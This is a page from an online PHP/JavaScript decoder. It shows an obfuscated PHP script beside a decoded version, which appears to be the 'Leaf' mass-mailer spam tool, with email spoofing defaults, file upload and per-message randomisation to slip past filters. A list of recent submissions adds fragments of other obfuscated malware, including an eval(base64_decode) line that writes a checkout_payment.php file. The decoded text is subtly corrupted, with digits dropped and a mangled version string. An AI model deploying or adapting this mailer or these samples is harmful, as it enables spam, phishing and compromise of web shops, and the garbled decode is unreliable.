Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
 goto ZLmK3; MUT1C: if (empty($_FILES["\x66\x69\154\x65\124\157\x55\160\154\157\141\x64"]["\x74\155\x70\x5f\x6e\141\155\x65"])) { goto TMoNe; } goto qPjOd; B6_GB: Ep_Sp: goto qSj3n; c2k_o: goto JPzXX; goto MbX5Z; QLjX9: sLXKR: goto L2Cpq; vpTUP: $Nxha4 = "\143\x68\145\143\153\145\x64"; goto yLd1t; eYP4I: goto bswFB; goto vnXPE; oEIYg: if ($_POST["\155\x65\163\x73\x61\147\x65\124\171\x70\x65"] == 2) { goto wtm0D; } goto zOUoB; MbX5Z: Hk6C9: goto ISkMz; Dm2vt: YjpyF: goto C22PN; qwfTD: print "\40\x20\40\x20\74\x64\x69\166\40\143\x6c\141\x73\163\75\42\x63\x6f\x6c\55\x6c\x67\x2d\61\x32\42\76"; goto E1hdo; UbNhm: $T3VVp->addReplyTo(leafClear($H7ity, $D2erR)); goto R4pmx; KOeL3: if (isset($_POST["\x73\x65\156\144\145\x72\105\x6d\x61\151\x6c"])) { goto NOvIb; } goto gzUJ_; Z3aMu: $rCnx9 = "\x73\145\154\x65\x63\164\x65\x64"; goto rdBMO; V3Ou6: bxN7m: goto hR6Gp; lCYmc: HxiQd: goto TSpSS; pMxDx: print "\74\x62\x6f\144\171\76"; goto Ya1pq; lfg4f: $qu7qj = md5(__FILE__); goto O_N6U; iZ7_i: $Cp3Wq = leafTrim($_POST["\x73\145\156\x64\145\162\105\x6d\x61\x69\154"]); goto Fv4dx; H8xfk: goto q3S9d; goto Y7VrN; eHtKW: $T3VVp->AltBody = strip_tags(leafClear($cjbiA, $D2erR)); goto V3Ou6; WOXxY: header("\x43\157\156\164\145\x6e\164\55\124\x79\160\x65\x3a\40\164\145\170\164\57\x70\154\x61\151\x6e"); goto c2k_o; ohU_H: if ($ZRCiR == 1) { goto kIT1d; } goto vsaFt; h89_N: foreach ($wfyi9 as $D2erR) { foreach ($KXrmO as $CuWqM) { if (!strstr($D2erR, $CuWqM)) { goto MnOck; } print $D2erR . "\12"; goto zCzez; MnOck: SeLcb: } zCzez: t2ivD: } goto rylQa; COAuN: hKpxi: goto BBsON; GvXww: function leafMailCheck($D2erR) { if (filter_var($D2erR, FILTER_VALIDATE_EMAIL)) { goto mZxnI; } return false; goto YBmj8; mZxnI: return true; YBmj8: } goto DPbSg; gCZ9h: print "\x3c\x74\141\142\154\145\x20\x3e"; goto wHqyD; bM0dj: $qTx3q = count($F6fMk); goto Xy57F; aVE9f: NOvIb: goto elzhE; py3_X: $_SESSION[$qu7qj] = $fzPIW; goto AkMzw; LIVKc: leafheader(); goto pMxDx; C3jzs: function leafClear($ROGyB, $D2erR) { $Hy1W4 = explode("\100", $D2erR); $sxXxh = $Hy1W4[0]; $X2OKL = $Hy1W4[1]; $ROGyB = str_replace("\133\x2d\x74\x69\155\x65\55\135", date("\x6d\x2f\144\x2f\x59\40\x68\72\x69\72\163\x20\x61", time()), $ROGyB); $ROGyB = str_replace("\x5b\55\x65\155\141\151\154\x2d\135", $D2erR, $ROGyB); $ROGyB = str_replace("\133\55\145\155\141\x69\x6c\165\163\x65\x72\x2d\x5d", $sxXxh, $ROGyB); $ROGyB = str_replace("\x5b\55\145\x6d\141\x69\x6c\x64\x6f\155\x61\151\x6e\x2d\135", $X2OKL, $ROGyB); $ROGyB = str_replace("\133\x2d\162\141\156\x64\157\155\x6c\x65\164\164\x65\x72\x73\55\x5d", randString("\x61\142\x63\x64\145\146\x67\x68\x69\152\x6b\154\155\156\157\160\x71\162\163\164\x75\x76\167\170\171\172"), $ROGyB); $ROGyB = str_replace("\x5b\x2d\x72\141\156\x64\157\155\x73\164\x72\x69\156\x67\x2d\135", randString("\141\x62\143\144\x65\146\x67\x68\x69\x6a\x6b\x6c\x6d\156\x6f\x70\x71\162\163\164\165\166\x77\x78\171\172\x30\61\62\x33\x34\x35\x36\67\x38\x39"), $ROGyB); $ROGyB = str_replace("\x5b\x2d\x72\141\x6e\x64\157\155\156\x75\x6d\x62\145\162\55\135", randString("\x30\x31\x32\63\64\65\x36\67\x38\x39"), $ROGyB); $ROGyB = str_replace("\x5b\x2d\x72\x61\156\144\157\155\x6d\x64\65\55\135", md5(randString("\x61\x62\x63\144\x65\146\147\150\x69\152\x6b\154\x6d\156\157\160\x71\x72\x73\x74\165\x76\167\x78\171\x7a\x30\x31\62\63\x34\x35\x36\x37\x38\71")), $ROGyB); return $ROGyB; } goto D6dQq; elzhE: class PHPMailer { public $Version = "\65\56\x32\x2e\x32\70"; public $Priority = null; public $CharSet = "\151\163\x6f\x2d\x38\x38\x35\x39\x2d\x31"; public $ContentType = "\x74\x65\170\164\x2f\x70\154\141\x69\x6e"; public $Encoding = "\x38\142\x69\164"; public $ErrorInfo = ''; public $From = "\162\157\157\x74\x40\154\157\143\x61\x6c\x68\157\x73\164"; public $FromName = "\122\x6f\157\x74\40\x55\163\145\162"; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "\x6d\x61\x69\x6c"; public $Sendmail = "\57\165\x73\162\57\163\x62\151\x6e\x2f\x73\x65\x6e\144\155\x61\x69\154"; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "\x6c\157\x63\x61\154\150\157\x73\x74"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = "\x65\x63\x68\157"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = "\xa"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = "\x20"; public static $validator = "\141\165\164\x6f"; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "\15\12"; const MAX_LINE_LENGTH = 998; public function __construct($PpHun = null) { if (!($PpHun !== null)) { goto iX0os; } $this->exceptions = (bool) $PpHun; iX0os: $this->Debugoutput = strpos(PHP_SAPI, "\x63\154\x69") !== false ? "\145\x63\x68\x6f" : "\x68\164\155\x6c"; } public function __destruct() { $this->smtpClose(); } private function mailPassthru($aB8Ql, $O5Nl2, $DwsX3, $akbHB, $azIW_) { if (ini_get("\x6d\142\163\x74\x72\x69\156\x67\56\146\165\156\143\137\157\166\x65\x72\154\157\x61\144") & 1) { goto H10z0; } $O5Nl2 = $this->encodeHeader($this->secureHeader($O5Nl2)); goto Xbnel; H10z0: $O5Nl2 = $this->secureHeader($O5Nl2); Xbnel: if (ini_get("\x73\x61\x66\x65\137\x6d\x6f\144\x65") or !$this->UseSendmailOptions or is_null($azIW_)) { goto JrxYS; } $FqysX = @mail($aB8Ql, $O5Nl2, $DwsX3, $akbHB, $azIW_); goto euK4q; JrxYS: $FqysX = @mail($aB8Ql, $O5Nl2, $DwsX3, $akbHB); euK4q: return $FqysX; } protected function edebug($xyy5m) { if (!($this->SMTPDebug <= 0)) { goto ZnHST; } return; ZnHST: if (!(!in_array($this->Debugoutput, array("\145\x72\x72\x6f\162\137\x6c\157\147", "\150\164\x6d\154", "\x65\143\150\x6f")) and is_callable($this->Debugoutput))) { goto cfAj3; } call_user_func($this->Debugoutput, $xyy5m, $this->SMTPDebug); return; cfAj3: switch ($this->Debugoutput) { case "\x65\162\x72\157\162\137\x6c\157\147": error_log($xyy5m); goto QcSoX; case "\150\164\155\x6c": echo htmlentities(preg_replace("\x2f\x5b\134\162\x5c\156\135\53\x2f", '', $xyy5m), ENT_QUOTES, "\125\x54\106\55\x38") . "\74\142\162\76\12"; goto QcSoX; case "\x65\x63\x68\x6f": default: $xyy5m = preg_replace("\57\x5c\162\x5c\x6e\x3f\57\155\163", "\xa", $xyy5m); echo gmdate("\x59\x2d\x6d\x2d\144\x20\x48\72\x69\x3a\x73") . "\x9" . str_replace("\12",

Decrypted code:

goto ZLmK3; MUT1C: if (empty($_FILES["fileToUpload"]["tmp_name"])) { goto TMoNe; } goto qPjOd; B6_GB: Ep_Sp: goto qSj3n; c2k_o: goto JPzXX; goto MbX5Z; QLjX9: sLXKR: goto L2Cpq; vpTUP: $Nxha4 = "checked"; goto yLd1t; eYP4I: goto bswFB; goto vnXPE; oEIYg: if ($_POST["messageType"] == 2) { goto wtm0D; } goto zOUoB; MbX5Z: Hk6C9: goto ISkMz; Dm2vt: YjpyF: goto C22PN; qwfTD: print "    <div class="col-lg-">"; goto E1hdo; UbNhm: $T3VVp->addReplyTo(leafClear($H7ity, $D2erR)); goto R4pmx; KOeL3: if (isset($_POST["senderEmail"])) { goto NOvIb; } goto gzUJ_; Z3aMu: $rCnx9 = "selected"; goto rdBMO; V3Ou6: bxN7m: goto hR6Gp; lCYmc: HxiQd: goto TSpSS; pMxDx: print "<body>"; goto Ya1pq; lfg4f: $qu7qj = md5(__FILE__); goto O_N6U; iZ7_i: $Cp3Wq = leafTrim($_POST["senderEmail"]); goto Fv4dx; H8xfk: goto q3S9d; goto Y7VrN; eHtKW: $T3VVp->AltBody = strip_tags(leafClear($cjbiA, $D2erR)); goto V3Ou6; WOXxY: header("Content-Type: text/plain"); goto c2k_o; ohU_H: if ($ZRCiR == 1) { goto kIT1d; } goto vsaFt; h89_N: foreach ($wfyi9 as $D2erR) { foreach ($KXrmO as $CuWqM) { if (!strstr($D2erR, $CuWqM)) { goto MnOck; } print $D2erR . "
"; goto zCzez; MnOck: SeLcb: } zCzez: t2ivD: } goto rylQa; COAuN: hKpxi: goto BBsON; GvXww: function leafMailCheck($D2erR) { if (filter_var($D2erR, FILTER_VALIDATE_EMAIL)) { goto mZxnI; } return false; goto YBmj8; mZxnI: return true; YBmj8: } goto DPbSg; gCZ9h: print "<table >"; goto wHqyD; bM0dj: $qTx3q = count($F6fMk); goto Xy57F; aVE9f: NOvIb: goto elzhE; py3_X: $_SESSION[$qu7qj] = $fzPIW; goto AkMzw; LIVKc: leafheader(); goto pMxDx; C3jzs: function leafClear($ROGyB, $D2erR) { $Hy1W4 = explode("@", $D2erR); $sxXxh = $Hy1W4[0]; $X2OKL = $Hy1W4[1]; $ROGyB = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $ROGyB); $ROGyB = str_replace("[-email-]", $D2erR, $ROGyB); $ROGyB = str_replace("[-emailuser-]", $sxXxh, $ROGyB); $ROGyB = str_replace("[-emaildomain-]", $X2OKL, $ROGyB); $ROGyB = str_replace("[-randomletters-]", randString("abcdefghijklmnopqrstuvwxyz"), $ROGyB); $ROGyB = str_replace("[-randomstring-]", randString("abcdefghijklmnopqrstuvwxyz01456789"), $ROGyB); $ROGyB = str_replace("[-randomnumber-]", randString("01234789"), $ROGyB); $ROGyB = str_replace("[-randommd5-]", md5(randString("abcdefghijklmnopqrstuvwxyz01256789")), $ROGyB); return $ROGyB; } goto D6dQq; elzhE: class PHPMailer { public $Version = "5r.28"; public $Priority = null; public $CharSet = "iso-8859-1"; public $ContentType = "text/plain"; public $Encoding = "8bit"; public $ErrorInfo = ''; public $From = "root@localhost"; public $FromName = "Root User"; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "mail"; public $Sendmail = "/usr/sbin/sendmail"; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "localhost"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = "echo"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = "\xa"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = " "; public static $validator = "auto"; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "
"; const MAX_LINE_LENGTH = 998; public function __construct($PpHun = null) { if (!($PpHun !== null)) { goto iX0os; } $this->exceptions = (bool) $PpHun; iX0os: $this->Debugoutput = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; } public function __destruct() { $this->smtpClose(); } private function mailPassthru($aB8Ql, $O5Nl2, $DwsX3, $akbHB, $azIW_) { if (ini_get("mbstring.func_overload") & 1) { goto H10z0; } $O5Nl2 = $this->encodeHeader($this->secureHeader($O5Nl2)); goto Xbnel; H10z0: $O5Nl2 = $this->secureHeader($O5Nl2); Xbnel: if (ini_get("safe_mode") or !$this->UseSendmailOptions or is_null($azIW_)) { goto JrxYS; } $FqysX = @mail($aB8Ql, $O5Nl2, $DwsX3, $akbHB, $azIW_); goto euK4q; JrxYS: $FqysX = @mail($aB8Ql, $O5Nl2, $DwsX3, $akbHB); euK4q: return $FqysX; } protected function edebug($xyy5m) { if (!($this->SMTPDebug <= 0)) { goto ZnHST; } return; ZnHST: if (!(!in_array($this->Debugoutput, array("error_log", "html", "echo")) and is_callable($this->Debugoutput))) { goto cfAj3; } call_user_func($this->Debugoutput, $xyy5m, $this->SMTPDebug); return; cfAj3: switch ($this->Debugoutput) { case "error_log": error_log($xyy5m); goto QcSoX; case "html": echo htmlentities(preg_replace("/[\r\n]+/", '', $xyy5m), ENT_QUOTES, "UTF-8") . "<br>
"; goto QcSoX; case "echo": default: $xyy5m = preg_replace("/\r\n?/ms", "\xa", $xyy5m); echo gmdate("Y-m-d H:i:s") . "\x9" . str_replace("
",

Recent submissions:

<?php // This file is protected by copyright law & provided under license. Copyright(C) 20... $password = "\x31\62\63";... goto qLY2g; uLtx9: $maillist = explode("\xd\12", $emailList); goto QQP7T; f5ucV: function ... <?php goto ZLmK3; MUT1C: if (empty($_FILES["\x66\x69\154\x65\124\157\x55\160\154\157\141... (function(_0x4ac5c1,_0x2e61b3){function _0x565792(_0x34e017,_0x3e076d,_0x2886fe,_0x3a2a3d,... eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ2NoZWNrb3V0X3BheW1lbnQucGhwJywgZmlsZV9nZXRfY2... <?php //00507 // 12.0 74 if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr... <?php $KneaFSpQvPWSsomieeI="AU8GvfkBPQbC+QE4Bsf5FVN9XItrGD4m4g05vA6Jks/ejT5IPrbSzDulMue... #!/usr/bin/php -q <?php /* __________________________________________________ | ... const _0x597cea = _0x2c05; (function (_0x5e173b, _0x11ae16) { const _0x92e3ae ...